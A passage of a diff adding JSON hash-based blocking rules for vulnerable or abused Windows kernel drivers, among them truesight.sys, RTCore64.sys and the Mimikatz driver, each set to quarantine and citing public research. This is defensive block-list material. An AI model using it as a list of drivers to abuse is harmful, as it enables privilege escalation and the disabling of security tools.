+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817250Z",
+  "creation_date": "2026-03-23T11:45:30.817252Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817258Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5daa8fa3b5db2e6225a2effea41af95fe7ffc579550c4081c8028ed33bc023b8",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce1ae374-d2de-5dae-ab6d-d76f9028c869",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816118Z",
+  "creation_date": "2026-03-23T11:45:30.816120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9303894ee50d95911ccd4583b2aa5484db63de0d8f799b14854577e15914df2d",
+  "comment": "Vulnerable Kernel Driver (aka sysconp.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce1b53b4-f08c-5b62-948b-a45db7a77877",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494815Z",
+  "creation_date": "2026-03-23T11:45:31.494822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0a01628d39cd0fd2542aceb122c84ff022417860480ca348ade49ca0ae6f5c4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce1e1fe9-f5e5-5d7c-8bc5-09fa9a03ea16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617850Z",
+  "creation_date": "2026-03-23T11:45:29.617852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a89a6ab2fca486480b6e3dacf392d6ce0c59a5bdb4bcd18d672feb4ebb0543c",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce329b47-47aa-59a9-b141-a197b231c51c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492610Z",
+  "creation_date": "2026-03-23T11:45:31.492612Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18b794710453ffbf8ea6812b3c67f0834c5262547097e7509bc3d8e13aaa3500",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce3e4491-5fad-5e16-840e-acc9b5f7e447",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828737Z",
+  "creation_date": "2026-03-23T11:45:30.828739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58a4e00d40077cb1532967dc9a66d485a9e580a4f9d4ab4052f645bc76028c43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce459142-5004-5235-8dc4-2f2f7152d10d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817515Z",
+  "creation_date": "2026-03-23T11:45:31.817517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4bec310f9a33386df4085f4d4df5880572f2ba44ae258d466e2b0551ea5df9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce48afdc-2747-5090-8157-f2dafcf192b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499349Z",
+  "creation_date": "2026-03-23T11:45:31.499352Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499360Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdb7d0ecd7c09135ffea8f715e1b52c9e193d87ee46f460d826c50b4578d1a9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce49b158-22b6-537f-a1a9-ce79dc4aeb14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455164Z",
+  "creation_date": "2026-03-23T11:45:30.455167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16b6be03495a4f4cf394194566bb02061fba2256cc04dcbde5aa6a17e41b7650",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce4eeabf-d1ad-51db-a76f-5876c15c7e49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475923Z",
+  "creation_date": "2026-03-23T11:45:30.475927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e89cb7217ec1568b43ad9ca35bf059b17c3e26f093e373ab6ebdeee24272db21",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce4fc928-5627-54e4-88c3-facc56c5e687",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157205Z",
+  "creation_date": "2026-03-23T11:45:31.157207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96d381aa428e3d885b399285e19a8b6aeafc94d736d3575cd5af8f8f58c0d979",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce58d9f1-605e-5a80-a21c-84eb03f355f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483920Z",
+  "creation_date": "2026-03-23T11:45:31.483924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5f6dc31336aaaa2fda0af4c38855cb33bdabc66faca07304bc163c490619500",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce63c5a3-c672-57ed-8455-28fccbd5b21b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490829Z",
+  "creation_date": "2026-03-23T11:45:31.490850Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490858Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe9520ae42fc9ea258ca7fd2054b4e05acc1aa45089a703fd486753eba57ab11",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce68c78e-37d5-56b9-89c8-5d3b922a1db5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153736Z",
+  "creation_date": "2026-03-23T11:45:31.153738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "201c02478e89e011a9a5c8f9d496ea8f10684c761ddeeaf14342cfb30c0003ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce69fa95-d4b1-5062-b53b-e77be033e897",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824488Z",
+  "creation_date": "2026-03-23T11:45:31.824491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824499Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a9b1b00235f0814ccef667762cdecaae9c195e9165355f73125b4bb386d7b3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce6a0e81-1215-5d2f-a38b-7bb41d9454ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970906Z",
+  "creation_date": "2026-03-23T11:45:29.970909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "463829eecbdd9c72faa3a3cab55cb52c95e93c3b79bafe855e199354432e7f76",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce6f93fb-15eb-541a-895b-eed8f215b7ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479314Z",
+  "creation_date": "2026-03-23T11:45:30.479316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16c63f5ebd96caecae3581a91b949ccc803cf7c18482448d19f9433d6d40ebee",
+  "comment": "Vulnerable Kernel Driver (aka VBoxTAP.sys) [https://www.loldrivers.io/drivers/f22e7230-5f32-4c4e-bc9d-9076ebf10baa/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce6fb95e-0f44-533a-a10f-3fc969feb434",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605522Z",
+  "creation_date": "2026-03-23T11:45:29.605524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32726f7b4f4c51dfe0c0de47408c6d88e8b1664ab10529f2f994bd0e1b5814e5",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce7924c3-5a86-573f-9dc1-55615a2df8af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155967Z",
+  "creation_date": "2026-03-23T11:45:31.155969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "925c0c27fdfbc02f3300954d6628a35479599ec1b28c6b899bf5ca12c4816097",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce79a240-6286-5ca6-9456-6637c047880c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984582Z",
+  "creation_date": "2026-03-23T11:45:29.984584Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e704bcd0526a76661be083041793be319773d2fed132e45435d800d6918532d",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce7bdd17-5738-5487-8217-7ea7e0015039",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461097Z",
+  "creation_date": "2026-03-23T11:45:30.461101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461110Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ac8e54be2804f5fa60d0d23a11ba323fba078a942c96279425aabad935b8236",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce7fd246-ecd2-5a57-997b-9d2d32ea9a56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610423Z",
+  "creation_date": "2026-03-23T11:45:29.610425Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5177a3b7393fb5855b2ec0a45d4c91660b958ee077e76e5a7d0669f2e04bcf02",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ce84469e-175d-51e1-9e0d-483856c4895b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816190Z",
+  "creation_date": "2026-03-23T11:45:31.816193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
